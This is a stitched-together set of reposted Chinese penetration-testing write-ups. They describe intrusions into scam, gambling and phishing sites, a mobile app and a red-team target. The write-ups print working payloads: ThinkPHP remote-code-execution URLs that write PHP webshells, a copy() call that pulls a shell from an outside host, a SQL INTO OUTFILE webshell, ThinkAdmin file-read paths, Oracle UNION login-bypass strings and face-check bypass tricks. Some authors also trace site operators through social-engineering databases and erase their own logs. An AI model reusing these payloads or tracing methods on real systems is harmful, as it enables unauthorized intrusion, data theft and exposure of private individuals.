网贷诈骗类案件的典型特征是,犯罪嫌疑人以“无抵押无审核”为噱头招揽需要贷款的被害人,并以“账户冻结需做解冻”才能完成放款等名义收取保证金,又以保险费、激活费、服务费等名义再次收费。被害人为了收回之前缴纳的钱款,只能按照犯罪嫌疑人为被害人设计的整个流程,完成转款,导致被害人钱款被骗。一些急需用钱的个体经营者、消费观念超前的上班族、大学生等人群是易受骗群体。 诈骗者不仅仅将罪恶之手伸向了香港、台湾,甚至是国外...... 据分析,这群诈骗团伙在巴西也进行了相同方式的诈骗,且使用的诈骗源码为以上分析第一套源码。 500余名巴西受害者。 天网恢恢,疏而不漏!所有行恶之人必将受到法律之严惩! 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247502166&idx=1&sn=3fe78999b5b43a059e66975dd185b3cc&chksm=ce6463cff913ead9c3a448d7466b7c38ed593a709918265283387ad4bb787292bdd2979e7d64&scene=21#wechat_redirecthttps://xz.aliyun.com/t/10391
  12. 一、目录结构 首先我们先看一下结构,system文件夹下有相关代码。我直接给大家看一下漏洞吧。 二、审计出洞1、购物车异步获取信息 - SQL注入 system\modules\member\cart.action.php 虽然本身是过滤单引号但是在这里并没有用单引号保护起来所以这里是一个注入,并且没有验证用户身份,从站外未登陆的情况下即可进行注入。 直接官网哈哈哈哈!!!! 2、BOM插件 - 目录遍历 system/plugin/bom/bom.plugin.php 直接访问即可,后台即便是改了也没什么事情,照样刚! 3、我的晒单 - 存储型XSS(可打到管理员Cookie) 由于这套CMS出来的较早了,在此之前被许多小黑挖掘过XSS漏洞,但是....我这个XSS貌似也是0day 哈哈哈需要晒单功能这里给大家演示一下先走一遍流程 添加晒图 把图片地址改成我们的XSS语句 fileurl_tmp参数 这时候便把IMG标签闭合了弹出了1 (触发在后台管理的“晒单查看”) 4、上传配置 - 后台Getshell 可能有些人看到后台有上传的地方,其实这些个上传是没有办法利用的。虽然你可以在后台改格式白名单但是依旧提不下。这时候呢....插马呗!!~~ 由于他过滤单引号所以这里就不带上单引号了。 允许上传类型处,写上pyload 提交完就完事了~~ 通过copy函数远程写个马就完事了 5、后台验证码存在缺陷 默认账户admin 这一串MD5值就是对应的验证码的值,此处可以调用接口进行爆破。也是个小小的缺陷吧 6、组合拳Getshell - CSRF+XSS 我们直接用XSS嵌套一个html页面,然后模拟所有的操作就完事了从修改upload格式插马开始到模拟访问 [/index.php/admin/setting/upload?c=copy("http://www.xxx.com/shell.txt","../inc.php"); 直接一些列打过去就完事儿了实在不放心就在最后模拟添加一个管理员就阔以了。 这套CMS并没有过滤CSRF攻击,我也不截图了各位表哥的姿势比我骚,哇嘎嘎嘎嘎嘎嘎....需要源码可以跟我说一下(好累喔) 转载于原文链接: https://mp.weixin.qq.com/s/8OTU9yQ3pxj6k2QpbEzNRA
  13. 在鹰图中找TSRC资产准备挖腾讯SRC时候看到此站点域名:qq.com.xxxx.top,标题为登录第一感觉不是正经站应该是钓鱼站whois查询到的webpack打包的这种站点基本都会有一些测试账号,试了试18888888888密码123456看到这个基本确定这就是个做任务赚佣金的那种,主打的就是一个骗钱F12翻找请求和js找到,加载的资源文件报错, 用的thinkphp但是没洞,真是IP也有了找到后台伪装的挺好的叫xxx打卡系统 通过fofa查ip找到其他资产,ip访问发下是一个企业建站模版页面,ip后面加个admin跳到企业建站后台实话这个真烂在ip后面家入/x又是thinkphp5.0.5的笑死,验证存在rce那个做任务赚佣金的站点还没有好好测简单收集信息,找到旁站进去了基本上数据库配置都在data 或者configmd5解密管理员密码,进后台看看其他信息不怎么关注,主要找站点管理员 1.敏感手机号通过推荐人号很频繁就是一个手机号,139xxxx2.管理员登录日志分析:可疑ip定位在四川3.通过手机号查到微信,和支付宝查到这个人4.通过社工库查到此人QQ,微博以及本人照片 转载于原文链接: https://mp.weixin.qq.com/s/9M0HEP1x-5Xt1JQeyVDrGA
  14. 0x01 thinkadmin历史漏洞复习已经找到对方的app的后台地址是thinkadmin,因此我们需要去复习thinkadmin的历史漏洞。 CVE-2020-25540 https://github.com/zoujingli/ThinkAdmin/issues/244 利用POC如下 https://github.com/Schira4396/CVE-2020-25540 列目录 POST /?s=admin/api.Update/noderules=["runtime/"]文件读取 /?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b363932382x312t1b其本质大概想设计出来一个能让第三方去对比服务器上的系统web文件的功能,结果因为目录穿越造成任意目录读取。虽然有一定限制,但危害还是非常非常大,因此后续更新直接将这个功能下架。 还有一个没有CVE的反序列化漏洞 https://github.com/zoujingli/ThinkAdmin/issues/238 存在两处接口,其中一处正是上面列目录功能的rules传参。 POST /?s=admin/api.Update/noderules=payload另外一处则是 POST /?s=wechat/api.Push/indexreceive=payload 0x02 第一份源码因为官方已经不提供旧版源码下载,所以我第一时间去其他地方找到了一份使用thinkphp5.1.38的旧版源码。检测了下,其有如下漏洞。 application/wechat/controller/api/Push.php 两处反序列化只修复了一处。 application/admin/controller/api/Update.php 列目录和任意文件读取的路由稍微变了一下,而且列目录无法用rules传参进行控制,只能列web根目录。但任意文件读取取消了各种限制,这意味着可以直接读config/database.php获取数据库配置。 获取了数据库配置之后,数据库如果能够外连就可以深入一点利用。 application/admin/controller/api/Plugs.php 这个是thinkadmin自带的文件上传接口,正如很多cms设计的一样,其白名单storage_local_exts在数据库或者系统后台中都能进行配置。正常来说,我们可以利用这个进行getshell操作,但很明显,如果直接给白名单加上php,过不去第四个if,且后台的系统配置中也有拦截。 application/admin/controller/Config.php 我们如果直接操作数据库,可以绕过后台配置限制,但绕不过upload()的限制。 很显然,只过滤php是不够的,如果对方是windows服务器,我们还有php::$DATA可选,如果对方是apache且进行了错误的配置,我们还有php3/php4/php5/php7/pht/phtml/phar这些可能的解析后缀。 0x03 第二份源码 然而第一份源码除了熟悉thinkadmin架构之外没有任何卵用。因为目标是thinkphp6.0.3的,而且漏洞也和第一份不一样,不存在反序列化。不过还是存在列目录和文件读取,而且和历史漏洞一模一样。 app/admin/controller/api/Update.php 但是在列目录时,碰到了一个问题。 这是因为我列的是web根目录,如果对方项目巨大,或者某个文件夹没有权限,就会导致报错,这个时候就需要针对性列目录,以./app和./runtime为主。 读./app可以获取controller路径,在原版thinkadmin中,突破口并不多,但这种程序很多都是二开的,对比原版thinkadmin那些没有的controller,就可能直接审计出漏洞。审计漏洞需要配合任意文件读取,具体该怎么读请回顾前面的。总而言之,有了CVE-2020-25540我们等于获取了其源码。 这个程序就很容易发现一个SQL注入。 /app/admin/controller/api/Main.php 然而等我吭呲吭呲的注出密码后却发现,登录需要OTP验证,没办法,继续审计。 /app/admin/controller/Posting.php 非常愚蠢的命令拼接,同位置有三处,但都需要后台权限,而且最后发现exec()被disable_functions了,所以无法利用。 /app/admin/controller/api/Upload.php 最后一处是在朋友的提醒下发现的,这乍一看不就是thinkadmin自带的上传吗?前面分析过需要特定环境才能利用,所以我就直接跳过了。结果居然多了个xkey传参可以完全控制$this->name,很难不让人怀疑这是个后门。最后getshell是这样的。 但这个上传接口也需要后台权限,怎么办呢?这个时候就轮到thinkphp经常用到的./runtime出场了。 读runtime/admin/log/single_error.log这个文件很容易发现它记录了一系列的session报错。 而且我们可以知道,这套程序用的php原版session,而且没有放在/tmp或者/var/lib/php/sessions/中,而是runtime/session。那就简单了,我们直接利用列目录列出所有session,然后进行爆破。 这样就可以直接进入后台绕过了OTP限制,接下来再用它的xkey后门getshell就行了。 0x04 另类脑洞 万一没有后门怎么办呢?这套系统是linux+nginx,无法绕过thinkadmin原版upload限制。 但在后续代码审计中,我发现了其有个图床服务器。 这台被getshell的服务器(A),可以带file_paths参数访问图床服务器(B)的一个接口,其目的是为了让服务器B反过来下载服务器A上面的图片备份下来。为什么我会知道这点呢? 因为服务器B更加千疮百孔,直接访问这个接口就会发现。 不但因为debug泄露了源码,而且这个命令拼接也太赤裸裸了,甚至可以直接当shell用。 所以我们完全可以在不拿下服务器A的情况下,通过任意文件读取和代码审计直接拿下服务器B。 拿下服务器B又有什么用呢?服务器A是会用curl请求服务器B的,这种情况下,可以篡改服务器B的代码,将接口改成302跳转,然后修改协议为gopher,就可以打到服务器A的本地端口了。 如果服务器A的本地存在fpm的9000端口,以及redis的6379端口,就可以这样曲折的进行SSRF getshell,这种案例在discuz的SSRF漏洞上经常能得到利用。 这次虽然没9000 fpm,但却有redis,redis密钥和端口也在config/cache.php存储着,而且web目录恰好是777权限,完全符合gopher打本地redis的条件。 当然,最终我并没有进行尝试,但理论上完全没有问题。 转载于原文链接: https://mp.weixin.qq.com/s/BuHJuQh3lyaq1SmY2xKl3g
  15. 一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动 在对网站进行初步信息收集后发现网站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试: http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo 成功弹出phpinfo,ThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难: http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?> 文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >被转义为了HTML实体编码: 在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试: http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接: http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye]) 得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了 这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php得到MySQL数据库账户 连接数据库: 查询后台管理员数据: 却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上 接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log 在日志中发现system函数果然被禁用了: 与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP: 翻阅前几日记录发现最后登陆IP都是101.78.*.*这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的IP,心里一慌:这应该是挂了V P N了吧 结果不出所料: 接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理: 后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db中找到了宝塔面板的数据文件,获取到宝塔的账户信息: 同时也查阅了一下宝塔数据库中的log日志内容: 但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现 于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/ 中找到了大量以json形式储存的请求信息 打开时间较早的日志文件,果然有所突破(有可能是V P N不稳定,在操作时突然挂掉了,导致真实IP的泄漏): 在查询175.167.*.* 后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长 顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录 完事收工 转载于原文链接: https://www.cnblogs.com/yesec/p/14983903.html
  16. 一、APP抓包和逆向破解加密算法打开APP是一个登录框 抓包后发现参数被加密了 使用Jadx脱源码发现,并没有加壳也没有混淆,运气很好 根据经验,先搜索Encrypt、Decrypt等关键字,发现在Common.js中有一个encryptData函数 定位过去,一套加解密算法都写好了放在这 放到浏览器console里面调试,果然没错 二、寻找注入点首先测试了一下注入 明文:{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:App返回异常 明文:{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:App返回正常 明文:{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:App返回正常 至此已经可以判断该登录点就是一个注入了,可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1 根据返回结果推测,后端的登录处的逻辑代码可能是这样的 userInfo = 'select * from userinfo where username = <userName>'; userPass = userInfo.password;if (userPass == <passWord>){ return 'Login success'; }else{ return 'Login failed'; }通过Union注入构造万能密码,是可以造成任意用户登陆的,测试过程如下 先使用order by测试,得知字段的数量为9个,构造payload # 由于目标服务器带有过滤,所以这里简单的bypass一下 明文:{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW 结果:App返回成功 由于Oracle在进行union查询时,所对应的字段数据类型也必须相同,所以还要进行字段数据类型的测试,最终结果如下 # 注意这里passWord我修改成了123,用来测试Union构造的万能密码是否可行 明文:{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW 结果:提示是弱密码(说明此方法可行) 接下来就是一个字段一个字段的改过去,判断哪个字段对应的是密码字段,测试结果如下 # 注意这里passWord我修改成了Ceshi123@@@,不再是弱口令了 明文:{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:提示登录成功 在绕过后,发现程序出现了异常 仔细观察返回的数据,其中有username(用户名)、staffId(职工号)、email(邮箱)、staffName(姓名)、tel(手机号)、mobile(手机号),然而这些数据都是我刚刚自己随便构造的,这里应该需要一个真实的用户信息,供后续的登录流程使用 好在,还是有一个地方能获取真实的用户信息的 三、由忘记密码,爆破用户名App还有一个忘记密码的功能(通常这里可以爆破用户名) 利用忘记密码的功能可以判断用户名是否存在,这里随便跑了一下字典,就出来好多用户名 四、破解短信验证码自然而然地利用这些用户名使用短信验证码登录 获取验证码,然后解密数据包,惊奇的发现返回了用户基本信息 根据登录返回结果,重新测试payload,最终结果如下 明文:{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文:xxxxxxxxx结果:提示登录成功 仔细看返回的登录数据,已经正常了 然后重新替换数据包登录,提示绑定IMEI 这个绕过很简单,随便输入验证码,替换返回包,把resultCode从1001改为1000就行(常规操作) 五、抓包、改包,绕过人脸识别最终还要个人脸认证 先用自己的脸检测,这时候手机会向服务器发包,burp把手机发向服务器的包直接丢掉就可以绕过 点击确定后,还有一个大数据包发向服务器,这里面包含的是人脸数据 修改数据包,将其中的人脸数据替换为空,然后发送 六、成功登录APP最终的最终,成功登录APP 转载于原文链接: https://mp.weixin.qq.com/s/rpBQn2LV1xOOUGjvSRuSRg
  17. 0x00 前言红蓝对抗无疑是一场持续性的博弈过程,随着近几年的攻防不断,打了一轮又一轮,web漏洞的急剧减少,社工钓鱼显然成为了主流的攻击手段之一。 0x01 免责声明请您务必认真阅读、充分理解下列条款内容: 1、本公众号分享的任何文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人用于非法活动。 2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。 3、如果您在使用本文相关工具及技术的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 4、严禁任何组织或个人使用本公众号的名义进行非法盈利。 5、本公众号的所有分享工具及技术文章,严禁不经过授权的公开分享。 如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果。 0x02 常规操作走一遍拿到靶标后 --> 资产收集 --> 找软柿子 --> 尝试打点 拿到靶标单位信息后,通过企查查查域名和企业架构,发现没有对外投资,只有一个上级单位总公司 找子域,也没啥可用资产(virustotal.com,快速简便但不准确) 通过qaxnb资产绘测平台来看看是否有可用信息,也是空空如也 通过多点Ping,域名解析等操作来找真实IP,发现都是指向阿里云 一套流程下来,除了一个打不动的官网(域名解析指向云,更没心情去深入挖掘了),没有任何可以打点的目标了 最终得出结论:软柿子竟是我自己 0x03 条条大路通罗马web打不动,就不能走常规操作了,开始把矛头对准公众号,小程序 通过测移动端的应用,观察请求地址和回包内容,终于找到了真实IP地址,因此也得官网并没挂在云上 通过IP进行全端口扫描,发现存在H3C网管设备,可以大概猜测出该IP为出口IP了 通过扫描前后五个IP的全端口信息,喜出望外的发现了好几个应用系统,看着就像软柿子,感觉成功就在眼前了,马上就要一发入魂,直捣黄龙了,想想还有点小激动,嘿嘿嘿 结果,虽然存在一些漏洞,但还是一个都锤不动,getshell失败 果然,软柿子竟是我自己 但是,咱们做攻防的都是刚枪王,不到最后一秒是不会不放弃的,在渗透某系统的时候发现了一个大宝贝(在线人工一对一微信二维码 ) 0x04 我爱靶标客服添加靶标客服后,我那激动的心,颤抖的手,无一都不暗示着我们俩之间会像是初恋那般的美好,干柴遇烈火,今晚指定得发生点什么,嘿嘿嘿 通过对话的时间间隔和回复的短短只言片语,不难看出,枉我一篇赤诚之心,她对我竟是敷衍。 但俗话说得好:”撑死胆大的,饿死胆小的”,我断定出她对我不够上心,故,我决定做个胆大的好男儿。 果然,在我那一句:“你确定吗?你有真心对我吗?”,在两个“?”的攻势下,她果然回心转意了,点开了我的大宝贝。我也成功的进入了她们单位的内网。 0x05 细节定成败通过搜集进程信息和端口信息,发现内网存在金山杀毒,访问发现版本为v9(上传已修复) 细节来啦,在前面测公众号时,发现一处账户密码,便随手记录了下来 分析规律后手动重组几个账户密码,拿来碰撞金山杀毒,又是一发入魂,精准打击,成功拿下 古人云:”内网之,得集控者得天下“。至此,虽已足够让该单位内网沦陷,但还不够完美,总感觉还少了什么,所以还得继续冲 通过组装后的密码,拿下上文的H3C网络设备,发现我直接成为了网络管理员,清楚了所有的路由走向和网络策略,嘿嘿嘿 细心的师傅其实已经发现了,内网还存在vmware(上诉某图片的webtitle),那肯定也不能放过她,是吧,嘿嘿嘿 通过历史漏洞成功拿下,发现部署了核心生产系统,但是居然历史漏洞都没补 getshell --> 拿data.mdb --> 解密 --> 获取cookie --> 进后台 其他都是一些零零碎碎的东西了,没啥技术含量,想必各位师傅也不喜欢,那么就到此为止吧,再打就不礼貌了 0x06 攻击路线 0x07 最后的话文章内容有不合理或者不理解的地方,欢迎评论,咱们共同交流共同进步 文章内容有不合法或者侵权的地方,欢迎指出,核实后将立马删除本文 转载于原文链接: https://mp.weixin.qq.com/s/cixtFPn__YPe1XtpcTE2Ow?scene=25#wechat_redirect
  18. 一、 起因近年来国内发生各种非法菠菜赌博案例非常之多,本次我就来讲解一下我是如何渗透下一个非法菠菜的网站的。本次渗透纯粹是运气+站长疏忽,可谓是千年堤坝毁于蚂巢之说。为了保证读者的理解,特采用入侵者的身份来纪实! 二、踩点及收集信息打开目标站,发现是一个菠菜网站,然后开始收集信息了 域名的whois信息查询得知域名来自西部数码 这里我使用站长之家的ping工具是为了看有没有使用CDN及查询服务器机房位置。从whois结果得知使用的是dnspod的dns,但是有过经历的都是知道,一般的大型的IDC厂商,都是有自己的dns,代理才会使用dnspod 很明显,这个域名在代理上注册的,本来准备社工域名,但是没什么意义,别人解析回来了还是一样的使用,之前F4ther写过一篇文章是说做了个蜜罐钓鱼劫持了安全脉搏。但是太麻烦,还是直接略过,直接渗透吧。 我看到URL后面是Home/Change/AlipayInfo/alipay/微信.html,我第一预感就是使用ThinkPHP框架来写的程序。 为了验证我的猜想,我特地随便输入地址看他报错,一般的ThinkPHP报错都会显示出版本+物理路,其结果,有图上踩点可以得到以下信息 1. 此站使用的是ThinkPHP3.2.2的框架。 2. 物理路劲C:\WWW\pcdd\pc 3. 此网站没有使用CDN 4. 此网站服务器在境外(加拿大)。 5. 此网站必有漏洞。 三、 开始战斗随便找了一处直接sqlmap测试,结果如下图,有防护,直接被墙,导致无法继续,连接一个VPN 再看看,不行想办法过防护,直接访问ping出的IP 47.xx.xx.xx,发现phpstudy的探针一枚 在phpstudy默认的数据库密码都是root于是,我们开始尝试弱口令 发现他是个弱口令。于是在访问一下47.xx.xx.xx/phpmyadmin。很不幸,又被墙,说明这防火墙有点狗,换个节点,直接登录。 后来直接用sql语句导出一句话木马,登录进去之后直接点SQL,然后执行语句 select '<?php @eval($_POST[1])?>' into outfile 'C:\/WWW\/pcdd\/pc\/log1.php'; 这里使用双斜杠且一个斜杠是反的的目的是怕他直接解析不出斜杠,然后因为执行sql语句又被墙一次。 之后我直接上菜刀,换个节点 因为执行了SQL语句,肯定被墙,所以直接换节点。 切记,这时候你在shell里面翻目录是要被墙的100个节点也不够你翻的,直接执行语句提权,然后连服务器,这里站长修复漏洞了,木马自然不复存在,无法复现,不过站长没有删除我的账号。 发现他是使用阿里云的rds数据库,密码也是挺复杂的。 四、总结1.他网站采用云数据库站库分离,首先第一比较安全,第二数据处理比较好,但是因为疏忽了本地环境的数据库的弱口令,导致被入侵。2.细节真的很重要比如信息收集,很多人在目标站盯了很久,一点收获都没有,这时候不妨好好地去看一下它的窗户,后门。本文就是直接访问IP发现了环境配置和探针。才能够如此顺利进来。3.基础很重要,比如你不知道phpstudy环境的默认密码和默认地址呢,如果phpstudy的默认密码是其他的呢?不清楚phpstudy环境的根本不了解默认的权限是system4.做事要慎独,一定要把工作量最小化,比如在执行sql语句导出一句话木马的时候很有可能phpmyadmin解析成C:WWW之类的,所以双斜杠反斜杠最好每次测试的时候都带上,反正也没什么影响。比如你要去翻目录肯定要被墙,起码要浪费一分钟去换节点,做过众测的朋友都知道众测里都是争分夺秒的。所以本次案例因为防火墙的原因我直接提权。5.在自己建站的时候一定不要懒惰,要把所有权限做的完美,把被入侵的风险降低到最小。 转载于原文链接: https://mp.weixin.qq.com/s/3y894HT1uBBGdifbIToQZQ
